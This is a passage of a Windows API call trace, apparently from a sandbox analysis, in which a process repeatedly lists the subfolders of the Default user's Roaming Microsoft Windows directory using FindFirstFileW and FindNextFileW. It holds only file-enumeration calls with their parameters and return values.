lpFilePart=0x0) returned 0x32 [0210.388] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0210.391] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.391] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0210.391] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0210.391] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0210.392] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0210.392] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0210.392] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0210.392] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0210.393] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0210.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0210.394] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0210.394] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dcb30) returned 1 [0210.394] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1e1dc610, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x32 [0210.394] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x1e1dc840 | out: lpFindFileData=0x1e1dc840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0210.395] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.395] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0210.396] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0210.396] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0210.396] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0210.396] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0210.396] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0210.396] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc800 | out: lpFindFileData=0x1e1dc800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.397] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0210.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca60) returned 1 [0210.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dca20) returned 1 [0210.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.398] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x44 [0210.398] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0210.401] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.401] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.401] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0210.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.402] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x44 [0210.402] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0210.402] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.402] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.402] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0210.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.403] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x44 [0210.403] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0210.403] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.403] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.404] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0210.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.404] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x44 [0210.404] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\printer shortcuts\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0210.404] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.404] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.405] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0210.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.405] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x39 [0210.405] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0210.405] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.406] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.406] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0210.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.406] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", nBufferLength=0x105, lpBuffer=0x1e1dbe50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpFilePart=0x0) returned 0x39 [0210.406] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\*"), lpFindFileData=0x1e1dc080 | out: lpFindFileData=0x1e1dc080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0210.406] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.407] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dc040 | out: lpFindFileData=0x1e1dc040*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0210.407] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0210.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc2a0) returned 1 [0210.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dc260) returned 1 [0210.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dc370) returned 1 [0210.407] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\SendTo", nBufferLength=0x105, lpBuffer=0x1e1dbe50, 